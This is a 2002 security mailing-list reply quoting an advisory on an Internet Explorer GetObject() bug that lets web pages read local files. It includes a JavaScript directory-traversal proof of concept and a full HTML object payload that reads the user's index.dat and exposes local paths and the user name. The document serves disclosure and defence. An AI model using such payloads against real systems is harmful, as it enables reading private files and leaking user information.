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Re: IE GetObject() problems


From: the Pull <osioniusx () yahoo com>
Date: Wed, 2 Jan 2002 00:20:40 -0800 (PST)


--- Georgi Guninski <guninski () guninski com> wrote:
Georgi Guninski security advisory #52, 2001

IE GetObject() problems

Systems affected:
Patched IE 6.0, somewhat patched 5.5 Win2K

Risk: High
Date: 1 January 2002

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or
distribute parts
of it without the author's written permission.

Disclaimer:
The information in this advisory is believed to be
true based on
experiments though it may be false.
The opinions expressed in this advisory and program
are my own and
not of any company. The usual standard disclaimer
applies,
especially the fact that Georgi Guninski is not
liable for any damages
caused by direct or  indirect use of the information
or functionality
provided by this advisory or program. Georgi
Guninski bears no
responsibility for content or misuse of this
advisory or program or
any derivatives thereof.

Description:

IE allows reading local files due to a bug in
GetObject().
Reading local files may lead to executing arbitrary
programs.

Details:

GetObject() has a bad security record - 
check http://www.guninski.com/browsers.html
The new bug is quite similar to:
http://www.guninski.com/getobject1-desc.html
the difference being:
----------------------

a=GetObject("http://"+location.host+"/../../../../../../test.txt","htmlfile";);
----------------------
It is funny that directory traversal on a http: URL
leads to reading local files.

There are surely a lot more. I found one which gives
local directory information including user name which
uses directory traversal.

Here is the universal location of index.dat:
file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}/../Local%20Settings/Temporary%20Internet%20Files/Content.IE5/index.dat

(There are a lot of url's like that, they have varying
degrees of success depending on where they are put).

The below object uses that url, in the alert that pops
up it shows the full file path, ie, C:\Documents and
Settings\UserName\Local Settings\Temporary Internet
Files\Content.IE5 under the "Location" parameter
value.


<object
  
classid="clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B"
 name="funObject"
 width=100%
 height=100%>
<PARAM NAME="ExtentX" VALUE="5292">
    <PARAM NAME="ExtentY" VALUE="7937">
    <PARAM NAME="ViewMode" VALUE="1">
    <PARAM NAME="Offline" VALUE="1">
    <PARAM NAME="Silent" VALUE="1">
    <PARAM NAME="RegisterAsBrowser" VALUE="1">
    <PARAM NAME="RegisterAsDropTarget" VALUE="1">
    <PARAM NAME="Height" VALUE="500">
    <PARAM NAME="Width" VALUE="500">
    <PARAM NAME="AutoArrange" VALUE="1">
    <PARAM NAME="NoClientEdge" VALUE="1">
    <PARAM NAME="AlignLeft" VALUE="1">
    <PARAM NAME="Transparent" VALUE="1">
    <PARAM NAME="ViewID"
=VALUE="{0057D0E0-3573-11CF-AE69-08002B2E1262}">
    <PARAM NAME="Location"
VALUE="javascript:document.writeln('<object
classid=&#34;clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B&#34;
name=&#34;funObject2&#34;><PARAM NAME=&#34Location&#34
VALUE=&#34file:///::{450D8FBA-AD25-11D0-98A8-0800361B1103}/../Local%20Settings/Temporary%20Internet%20Files/Content.IE5/index.dat&#34;></object><script>setTimeout(&#34alert(funObject2.document.body.innerHTML)&#34,500);</script\>')">


</object>





Workaround/Solution:

Disable Active Scripting and never turn it on.
Better, do not use IE in hostile environments such
as the internet. 

Vendor status:

Microsoft was notified on 11 December 2001.
They had 3 weeks to produce a patch but didn't.

Regards,
Georgi Guninski
http://www.guninski.com


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